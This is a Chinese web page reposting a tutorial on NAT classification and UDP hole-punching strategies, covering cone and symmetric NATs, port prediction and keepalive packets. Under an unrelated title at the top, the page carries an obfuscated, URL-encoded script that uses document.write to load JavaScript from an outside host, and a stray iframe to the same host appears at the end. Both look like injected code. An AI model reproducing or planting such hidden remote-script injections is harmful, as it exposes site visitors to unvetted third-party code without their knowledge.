HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
NAT的完全分析及其UDP穿透的完全解决方案(zz)
说明:这篇文章不错。前面部分介绍了NAT的一些基础知识。后面部分比较清晰的说明了UDP穿透NAT的原理。推荐入门真先看看这篇。
====================================================================================
NAT
的完全分析及其UDP穿透的完全解决方案
一:基本术语
防火墙
防火墙限制了私网与公网的通信,它主要是将(防火墙)认为未经授权的的包丢弃,防火墙只是检验包的数据,并不修改数据包中的
IP地址和TCP/UDP端口信息。
网络地址转换(NAT)
当有数据包通过时,网络地址转换器不仅检查包的信息,还要将包头中的
IP地址和端口信息进行修改。以使得处于NAT之后的机器共享几个仅有的公网IP地址(通常是一个)。网络地址转换器主要有两种类型.
P2P
应用程序
P2P应用程序是指,在已有的一个公共服务器的基础上,并分别利用自己的私有地址或者公有地址(或者两者兼备)来建立一个端到端的会话通信。
P2P
防火墙
P2P防火墙是一个提供了防火墙的功能的
P2P代理,但是不进行地址转换.
P2P-NAT
P2P-NAT 是一个
P2P代理,提供了NAT的功能,也提供了防火墙的功能,一个最简的P2P代理必须具有锥形NAT对Udp通信支持的功能,并允许应用程序利用Udp打洞技术建立强健的P2P连接。
回环转换
当
NAT的私网内部机器想通过公共地址来访问同一台局域网内的机器的时,NAT设备等价于做了两次NAT的事情,在包到达目标机器之前,先将私有地址转换为公网地址,然后再将公网地址转换回私有地址。我们把具有上叙转换功能的NAT设备叫做“回环转换”设备。
二:NAT分类
可以分为
基础NAT
与
网络地址和端口转换(NAPT)
两大类
(
一):基础NAT
基础NAT
将私网主机的私有
IP地址转换成公网IP地址,但并不将TCP/UDP端口信息进行转换。
基础NAT
一般用在当NAT拥有很多公网IP地址的时候,它将公网IP地址与内部主机进行绑定,使得外部可以用公网IP地址访问内部主机。(实际上是只将IP转换,192.168.0.23 <-> 210.42.106.35,这与直接设置IP地址为公网IP还是有一定区别的,特别是对于企业来说,外部的信息都要经过统一防火墙才能到达内部,但是内部主机又可以使用公网IP)
(
二):网络地址和端口转换 (NAPT)
这是最普遍的情况,网络地址
/端口转换器检查、修改包的IP地址和TCP/UDP端口信息,这样,更多的内部主机就可以同时使用一个公网IP地址。
请参考
[RFC1631]和
[RFC2993]
及[RFC2663]
这三个文档了解更多的NAT分类和术语信息。另外,关于NAPT的分类和术语,
[RFC2663]
做了更多的定义。当一个内部网主机通过NAT打开一个“外出”的TCP或UDP会话时,
NAPT
分配给这个会话一个公网IP和端口,用来接收外网的响应的数据包,并经过转换通知内部网的主机。这样做的效果是,
NAPT
在
[
私有IP:私有端口]
和
[
公网IP:公网端口]
之间建立了一个端口绑定。
端口绑定指定了
NAPT将在这个会话的生存期内进行地址转换任务。这中间存在一个这样的问题,如果P2P应用程序从内部网络的一个
[
私有IP地址:端口]
对同时发出多条会话给不同的外网主机,那么NAT会怎样处理呢?这又可以分为
锥形NAT
(
CONE NAT)
与
对称NAT (SYMMTRIC NAT
)两大类来考虑:
A.
锥形NAT
(为什么叫做锥形呢?请看以下图形
,终端和外部服务器,都通过NAT分派的这个绑定地址对来传送信息,就象一个漏斗一样,筛选并传递信息)
当建立了一个
[私有IP:端口]-[公网IP:端口] 端口绑定之后,对于来自同一个[私有IP:端口]会话,锥形NAT服务器允许发起会话的应用程序 重复使用这个端口绑定,一直到这个会话结束才解除(端口绑定)。
例如,假设
Client A(IP地址信息如上图所示)通过一个锥形NAT 同时发起两个外出的连接,它使用同一个内部端口(10.0.0.1:1234)给公网的两台不同的服务器,S1和S2。锥形NAT 只分配一个公网IP和端口(155.99.25.11:62000)给这个两个会话,通过地址转换可以确保 Client使用端口的“同一性”(即这个Client只使用这个端口)。而基础NATs和防火墙却不能修改经过的数据包端口号,它们可以看作是锥形NAT的精简版本。
进一步分析可以将
CONE NAT
受限制锥形NAT (RESTRICT CONE)
与
端口受限锥形
NAT (PORT RESTRICT CONE)
三大类,以下是详细论述:
分为
全双工锥形NAT
(FULL CONE)
,
1.
全双工锥形NAT
当内部主机发出一个
“外出”的连接会话,就会创建了一个公网/私网 地址,一旦这个地址对被创建,全双工锥形NAT会接收随后任何外部端口传入这个公共端口地址的通信。因此,全双工锥形NAT有时候又被称为"混杂"NAT。
2.
受限制锥形NAT
受限制的锥形
NAT会对传入的数据包进行筛选,当内部主机发出“外出”的会话时,NAT会记录这个外部主机的IP地址信息,所以,也只有这些有记录的外部IP地址,能够将信息传入到NAT内部,受限制的锥形NAT 有效的给防火墙提炼了筛选包的原则——即限定只给那些已知的外部地址“传入”信息到NAT内部。
3.
端口受限锥形NAT
端口受限制的锥形
NAT,与受限制的锥形NAT不同的是:它同时记录了外部主机的IP地址和端口信息,端口受限制的锥形NAT给内部节点提供了同一级别的保护,在维持端口“同一性”过程中,将会丢弃对称NAT传回的信息。
B.
对称NAT
对称
NAT,与Cone NAT是大不相同的,并不对会话进行端口绑定,而是分配一个全新的公网端口 给每一个新的会话。
还是上面那个例子:如果
Client A (10.0.0.1:1234)同时发起两个 "外出" 会话,分别发往S1和S2。对称Nat会分配公共地址155.99.25.11:62000给Session1,然后分配另一个不同的公共地址155.99.25.11:62001给Session2。对称Nat能够区别两个不同的会话并进行地址转换,因为在 Session1 和 Session2中的外部地址是不同的,正是因为这样,Client端的应用程序就迷失在这个地址转换边界线了,因为这个应用程序每发出一个会话都会使用一个新的端口,无法保障只使用同一个端口了。
在
TCP和UDP通信中,(到底是使用同一个端口,还是分配不同的端口给同一个应用程序),锥形NAT和对称NAT各有各的理由。当然锥形NAT在根据如何公平地将NAT接受的连接直达一个已创建的地址对上有更多的分类。这个分类一般应用在Udp通信(而不是Tcp通信上),因为NATs和防火墙阻止了试图无条件传入的TCP连接,除非明确设置NAT不这样做。
三:NAT对session的处理
以下分析
NAPT是依据什么策略来判断是否要为一个请求发出的UDP数据包建立Session的.主要有一下几个策略:
A. 源地址
(内网IP地址)不同,忽略其它因素, 在NAPT上肯定对应不同的Session
B. 源地址
(内网IP地址)相同,源端口不同,忽略其它的因素,则在NAPT上也肯定对应不同的Session
C. 源地址
(内网IP地址)相同,源端口相同,目的地址(公网IP地址)相同,目的端口不同,则在NAPT上肯定对应同一个Session
D. 源地址
(内网IP地址)相同,源端口相同,目的地址(公网IP地址)不同,忽略目的端口,则在NAPT上是如何处理Session的呢?
A,B,C三种情况的都是比较简单的
,可以很容易的实现.而D的情况就比较复杂了.所以D情况才是我们要重点关心和讨论的问题。
四:完全解决方案
以下针对四种
SESSION与四种NAT的完全解决方案,为了方便将使用以下缩写形式:
C
代表
CONE NAT
S
代表
SYMMETRIC NAT,
FC
代表
FULL CONE NAT,
RC
代表
RESTRICT CONE NAT,
PC
代表
PORT RESTRICT CONE NAT.
首先依据
CLIENT (客户)端在NAT后 的个数不同可以分为两大类:
TYPE ONE
:
一个在NAT后 + 一个在公网中
.
这种情况下可以分为两大类
:
A.
S
VS
公网:
此种情况下,由于公网的地址在一个SESSION内是不变的,所以可以打洞是可以成功的.
B.
C
VS
公网
:
与上面类似,这种情口下打洞是可以成功的.
TYPE TWO:
两个客户都在NAT后面.
这种情况下也可以细分为两大类
:
A.
其中一个NAT 是
S(SYMMETRIC NAT)
型
的,既:
S
VS
C
或者是
S
VS
S
.
下面论证这种情口下按照常规打洞是行不通的
,在常规打洞中,所有的客户首先登陆到一个服务器上去.服务器记录下每个客户的
[
公网IP:端口],
然后在打洞过程中就使用这个记录的值,然而对于
S
型
的NAT来说,它并不绑定
[
私网IP:端口]
和
[
公网IP:端口]
的映射.所以在不同的SESSION中,NAT将会重新分配一对
[
公网IP:端口].
这样一来对
于S型的NAT
来说打洞的
[
公网IP:端口
]与登记在服务器上的
[
公网IP:端口]
是不同的.而且也没有办法将打洞的
[
公网IP:端口
]通知到
另一个位于NAT下的客户端
, 所以打洞是不会成功的.然而如果
另一个客户端是在公网
时,打洞是可以的.前面已经论证了这种情况.
这种情况下的解决方案是只能通过端口预测来进行打洞
,具体解决方法如下:
例如
(以两个都是S型的为例)
NAT A
分配了它自己的
UDP
端口62000
,
用来保持
客户端
A
与
服务器S
的通信会话
,
NAT B
也分配了
31000端口
,
用来保持
客户端B
与
服务器S
的通信会话
。
通过与
服务器
S
的对话
,
客户端A 和 客户端B
都相互知道了对方所映射的真实
IP和端口
。
客户端A
发送一条
UDP消息到
138.76.29.7:31001
(请注意到端口号的增加
)
,
同时
客户端B
发送一条
UDP消息到
155.99.25.11:62001
。
如果NAT A 和NAT B
继续分配端口给新的会话,并且从
A-S
和B-S
的会话时间消耗得并不多的话,那么一条处于
客户端A和客户端B
之间的双向会话通道就建立了。
客户端A
发出的消息送达
B导致了
NAT A
打开了一个新的会话,并且我们希望
NAT A
将会指派
62001
端口
给这个新的会话,因为
62001
是继
62000
后
,
NAT会自动指派给
从服务器
S
到
客户端A
之间的新会话的端口号;类似的,
客户端B
发出的消息送达
A
导致了
NAT B
打开了一个新的会话,并且我们希望
NAT B
将会指派
31001这个端口给新的会话;如果两个客户端都正确的猜测到了对方新会话被指派的端口号,那么这个
客户端A-客户端B
的双向连接就被打通了。其结果如下图所示:
明显的,有许多因素会导致这个方法失败:如果这个预言的新端口(
62001和31001) 恰好已经被一个不相关的会话所使用,那么NAT就会跳过这个端口号,这个连接就会宣告失败;如果两个NAT有时或者总是不按照顺序来生成新的端口号,那么这个方法也是行不通的
。
如果隐藏在
NAT
A
后的一个不同的
客户端
X(或者在NAT B后)
打开了一个新的“外出”UDP 连接,并且无论这个连接的目的如何;只要这个动作发生在
客户端A 建立了与服务器S
的连接之后
,
客户端A 与 客户端B
建立连接之前;那么这个无关的
客户端
X
就会趁人不备地“偷” 到这个我们渴望分配的端口。所以,这个方法变得如此脆弱而且不堪一击,只要任何一个NAT方包含以上碰到的问题,这个方法都不会奏效。
在处于
cone NAT 系列的网络环境中这个方法还是实用的;如果有一方为 cone NAT 而另外一方为 symmetric NAT,那么应用程序就应该预先发现另外一方的 NAT 是什么类型,再做出正确的行为来处理通信,这样就增大了算法的复杂度,并且降低了在真实网络环境中的普适性。
最后,如果
P2P的一方处在两级或者两级以上的NAT下面,并且这些NATS 接近这个客户端是SYMMETRIC NAT的话,端口号预言是无效的!
因此,并不推荐使用这个方法来写新的
P2P应用程序,这也是历史的经验和教训!
B.
两个
都是CONE NAT型
的
.
这种情况下可以分为六大类型
:
A:
FC +
FC
B:
FC +
RC
C:
FC +
PC
D:
PC +
RC
E:
PC +
PC
F:
RC +
RC
虽然有这么多种情况
,但是由于CONE NAT 的特性,所以还是很好办的,因为对于CONE NAT 来说,在同一个SESSION中它会绑定一对
[
私网IP:端口]
和
[
公网IP:端口]
的映射,所以它们打洞用的
[
公网IP:端口]
与登记在服务器上的
[
公网IP:端口]
是一致的,所以打洞是可以行的通的.
综上所述
,就已经完全的概括了所有类型的NAT之间的可能的通信情况了.并且都提供了可行的解决方案.
五:对前一阶段的总结
1.前一阶段使用的打洞方法是有缺陷的
,它只适应于两个都是
FULL CONE NAT
的类型的CLIENT(客户端).以下论证它不适应于
两个都是CONE NAT的类型
中的
B:
FC +
RC
C:
FC +
PC
D:
PC +
RC
E:
PC +
PC
F:
RC +
RC
这五种情况
.
因为对于
受限的
NAT
它登记了外出包的
[IP
地址&端口]
,它仅仅接受这些已登记地址发过来的包,所以它们报告服务器的端口只能接受来自服务器的包.不能接受来自另一客户端的包.所以前一阶段的打洞方法是不可行的.
六: 存在的问题
按照理论
.NAT将在一定时间后关闭UDP的一个映射,所以为了保持与服务器能够一直通信,服务器必须要发送UDP心跳包,来保持映射不被关闭.这就需要一个合适的时间值.
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">